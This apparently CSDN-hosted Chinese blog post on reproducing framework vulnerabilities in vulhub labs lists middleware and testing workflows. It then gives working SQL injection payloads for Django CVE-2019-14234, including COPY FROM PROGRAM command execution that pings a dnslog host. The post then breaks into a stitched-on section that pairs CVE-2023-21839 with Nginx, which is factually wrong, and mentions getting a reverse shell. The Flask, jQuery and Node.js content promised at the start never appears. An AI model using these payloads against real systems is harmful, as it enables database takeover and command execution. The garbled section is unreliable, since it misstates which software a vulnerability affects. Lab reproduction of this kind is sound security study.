框架安全-CVE 漏洞复现&Django&Flask&Node.js&JQuery框架漏洞复现

本文围绕服务攻防中框架安全展开,介绍了常见中间件及多种语言开发框架。重点对Python的Django、Flask,JavaScript的jQuery、Node.js框架进行漏洞复现,如Django的SQL注入漏洞、Flask的服务端模板注入漏洞、jQuery的文件上传漏洞、Node.js的目录穿越和命令执行漏洞等。

服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现

中间件列表介绍

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA:Spring MyBatis Hibernate Struts2 Springboot 等

Python:Django Flask Bottle Turbobars Tornado Web2py 等

Javascript:Vue.js Node.js Bootstrap JQuery Angular 等

常见中间件的安全测试:

1、配置不当-解析&弱口令

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

4、安全应用-框架特定安全漏洞

中间件安全测试流程:

1、判断中间件信息-名称&版本&三方

2、判断中间件问题-配置不当&公开漏洞

3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

开发框架组件安全测试流程:

1、判断常见语言开发框架类型

2、判断开发框架存在的 CVE 问题

Python开发框架安全-Django&Flask漏洞复现

Django开发框架

介绍:django(Python Web 框架)详解

Django是一个高级的Python Web框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,可以专注于编写应用程序,而无需重新开发。它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。

Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模版 T,使用
Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件,使得 Django 具有较强的可扩展性。

安全问题:

CVE_2019_14234

CVE-2021-35042

漏洞复现

CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)

该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。

靶场:vulhub

参考:Django JSONField/HStoreField SQL注入漏洞复现

image-20231029172240612

开启环境:

image-20231029172437823

访问web界面:

image-20231029172549248

首先,使用用户名和密码登录 Django-Admin。

http://your-ip:8000/admin/

账号:admin 密码:a123123123

成功登录:

image-20231029172835555

然后转到模型的列表视图:

http://your-ip:8000/admin/vuln/collection/

Collection

image-20231029173347585

添加到 GET 参数中,其中是 JSONField:

detail__a'b=123 detail

payload:

http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

可以看到单引号注入成功,SQL语句报错:

image-20231029173547506

创建 cmd_exec:

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20

执行效果:

成功创建

image-20231029173642878

调用 cmd_exec 执行命令:

DNSlog获取地址

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20

### Vulhub CVE 漏洞复现中的文件上传实验 #### Apache HTTPD 换行解析漏洞CVE-2017-15715) 在处理文件上传的过程中,Apache HTTPD 的换行符解析存在缺陷。攻击者可以通过精心构造的HTTP请求来绕过安全机制并执行恶意操作[^1]。 对于该漏洞的具体实现方式,在构建测试环境时需准备如下组件: - 安装 Docker 和 Git 工具; - 使用 `git clone` 命令克隆 vulhub 项目仓库到本地机器上; ```bash git clone https://github.com/vulhub/vulhub.git ``` 接着进入对应的漏洞案例路径下启动容器服务: ```bash cd vulhub/httpd/CVE-2017-15715/ docker-compose up -d ``` 完成上述配置之后即可访问指定端口验证是否存在此问题,并尝试通过POST方法提交含有特殊字符的数据包来进行进一步探索。 #### Nginx 解析漏洞下的文件上传场景(CVE-2023-21839) 针对Nginx服务器存在的特定版本解析错误,可以利用其对PHP脚本不当处理的特点实施攻击行为。当满足一定条件下,能够使远程未经身份验证的用户向Web应用程序发送特制请求从而获取反序列化对象的能力,最终达到命令注入的效果[^2]。 为了重现这一过程,建议按照官方给出的操作指南搭建模拟平台: 同样先拉取最新版源码库至工作区, ```bash git clone https://github.com/vulhub/vulhub.git ``` 定位到目标位置激活所需的服务实例: ```bash cd vulhub/nginx/CVE-2023-21839/ docker-compose up -d ``` 此时应该能看到一个简易的表单页面允许我们上传任意类型的文档。借助于已公开发布的Exploit工具集可快速获得反弹Shell连接权限。
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值